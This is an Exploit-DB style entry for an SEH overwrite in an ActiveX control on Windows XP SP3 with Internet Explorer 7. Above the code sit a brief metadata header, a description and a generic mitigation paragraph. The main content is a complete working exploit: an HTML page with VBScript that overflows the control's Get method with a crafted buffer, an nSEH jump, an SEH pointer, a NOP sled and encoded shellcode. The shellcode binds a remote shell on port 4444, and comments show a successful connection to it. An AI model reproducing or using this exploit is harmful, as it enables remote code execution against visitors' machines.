SEH Overwrite Exploit

vendor:

Windows XP

by:

Blake

7.5

CVSS

HIGH

SEH Overwrite

119

CWE

Product Name: Windows XP

Affected Version From: Microsoft Windows XP SP3/IE7

Affected Version To: Microsoft Windows XP SP3/IE7

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows XP

This exploit demonstrates a SEH overwrite vulnerability in Microsoft Windows XP SP3/IE7. It allows an attacker to gain control of the EIP register and execute arbitrary code. The exploit binds a shell to port 4444.

Mitigation:

To mitigate this vulnerability, ensure that all software and systems are up to date with the latest security patches. Additionally, implement strong access controls and network segmentation to limit the impact of potential exploits.

Source

Exploit-DB raw data:

<html>
<object classid='clsid:0297D24A-F425-47EE-9F3B-A459BCE593E3'
id='target'></object>
<script language = 'vbscript'>

'SEH Overwrite exploited by Blake
'Original EIP method by callAX
'Tested on XP SP3/IE7 in virtualbox
'$ nc 192.168.1.155 4444
'Microsoft Windows XP [Version 5.1.2600]
'(C) Copyright 1985-2001 Microsoft Corp.
'
'C:\Documents and Settings\blake\Desktop>


buffer = String(8349, "A")
nseh = unescape("%eb%06%90%90")            ' short jump
seh = unescape("%4E%20%D1%72")             ' 0x72D1204E [msacm32.drv]
nops = String(20, unescape("%90"))               ' nop sled
junk = String(2000, "C")

<!-- bind shell port 4444 - around 1980 bytes of space for shellcode -->

sc =  unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
               unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
               unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
               unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
               unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4c%56%4b%4e") & _
               unescape("%4d%54%4a%4e%49%4f%4f%4f%4f%4f%4f%4f%42%56%4b%48") & _
               unescape("%4e%56%46%32%46%32%4b%38%45%44%4e%53%4b%58%4e%37") & _
               unescape("%45%30%4a%57%41%30%4f%4e%4b%48%4f%34%4a%51%4b%58") & _
               unescape("%4f%35%42%52%41%50%4b%4e%49%54%4b%48%46%53%4b%48") & _
               unescape("%41%50%50%4e%41%33%42%4c%49%59%4e%4a%46%38%42%4c") & _
               unescape("%46%37%47%50%41%4c%4c%4c%4d%30%41%30%44%4c%4b%4e") & _
               unescape("%46%4f%4b%53%46%55%46%42%4a%52%45%57%45%4e%4b%58") & _
               unescape("%4f%35%46%32%41%30%4b%4e%48%56%4b%58%4e%30%4b%44") & _
               unescape("%4b%58%4f%55%4e%51%41%50%4b%4e%43%50%4e%32%4b%48") & _
               unescape("%49%38%4e%56%46%42%4e%31%41%46%43%4c%41%53%4b%4d") &_
               unescape("%46%36%4b%58%43%54%42%43%4b%48%42%44%4e%50%4b%58") &_
               unescape("%42%47%4e%51%4d%4a%4b%38%42%54%4a%30%50%35%4a%56") & _
               unescape("%50%48%50%54%50%30%4e%4e%42%55%4f%4f%48%4d%48%46") & _
               unescape("%43%35%48%56%4a%36%43%33%44%53%4a%46%47%47%43%37") & _
               unescape("%44%43%4f%45%46%55%4f%4f%42%4d%4a%46%4b%4c%4d%4e") & _
               unescape("%4e%4f%4b%43%42%55%4f%4f%48%4d%4f%35%49%48%45%4e") & _
               unescape("%48%56%41%38%4d%4e%4a%30%44%50%45%45%4c%36%44%50") & _
               unescape("%4f%4f%42%4d%4a%46%49%4d%49%50%45%4f%4d%4a%47%55") & _
               unescape("%4f%4f%48%4d%43%55%43%35%43%35%43%55%43%45%43%54") & _
               unescape("%43%55%43%54%43%45%4f%4f%42%4d%48%56%4a%56%41%41") & _
               unescape("%4e%45%48%46%43%55%49%48%41%4e%45%39%4a%36%46%4a") & _
               unescape("%4c%31%42%37%47%4c%47%55%4f%4f%48%4d%4c%46%42%41") & _
               unescape("%41%55%45%35%4f%4f%42%4d%4a%46%46%4a%4d%4a%50%32") & _
               unescape("%49%4e%47%35%4f%4f%48%4d%43%55%45%55%4f%4f%42%4d") & _
               unescape("%4a%36%45%4e%49%34%48%48%49%54%47%45%4f%4f%48%4d") & _
               unescape("%42%35%46%35%46%55%45%45%4f%4f%42%4d%43%39%4a%46") & _
               unescape("%47%4e%49%37%48%4c%49%57%47%35%4f%4f%48%4d%45%45") & _
               unescape("%4f%4f%42%4d%48%56%4c%36%46%56%48%56%4a%46%43%46") & _
               unescape("%4d%56%49%38%45%4e%4c%56%42%45%49%35%49%42%4e%4c") & _
               unescape("%49%38%47%4e%4c%46%46%54%49%38%44%4e%41%33%42%4c") & _
               unescape("%43%4f%4c%4a%50%4f%44%54%4d%32%50%4f%44%44%4e%32") & _
               unescape("%43%49%4d%58%4c%57%4a%53%4b%4a%4b%4a%4b%4a%4a%46") & _
               unescape("%44%57%50%4f%43%4b%48%41%4f%4f%45%57%46%44%4f%4f") & _
               unescape("%48%4d%4b%55%47%55%44%55%41%45%41%45%41%45%4c%56") & _
               unescape("%41%30%41%45%41%35%45%45%41%45%4f%4f%42%4d%4a%46") & _
               unescape("%4d%4a%49%4d%45%30%50%4c%43%45%4f%4f%48%4d%4c%36") & _
               unescape("%4f%4f%4f%4f%47%43%4f%4f%42%4d%4b%38%47%35%4e%4f") & _
               unescape("%43%38%46%4c%46%46%4f%4f%48%4d%44%55%4f%4f%42%4d") & _
               unescape("%4a%46%42%4f%4c%58%46%30%4f%45%43%35%4f%4f%48%4d") & _
               unescape("%4f%4f%42%4d%5a")

exploit = buffer + nseh + seh + nops + sc + junk
target.Get exploit

</script>
<html>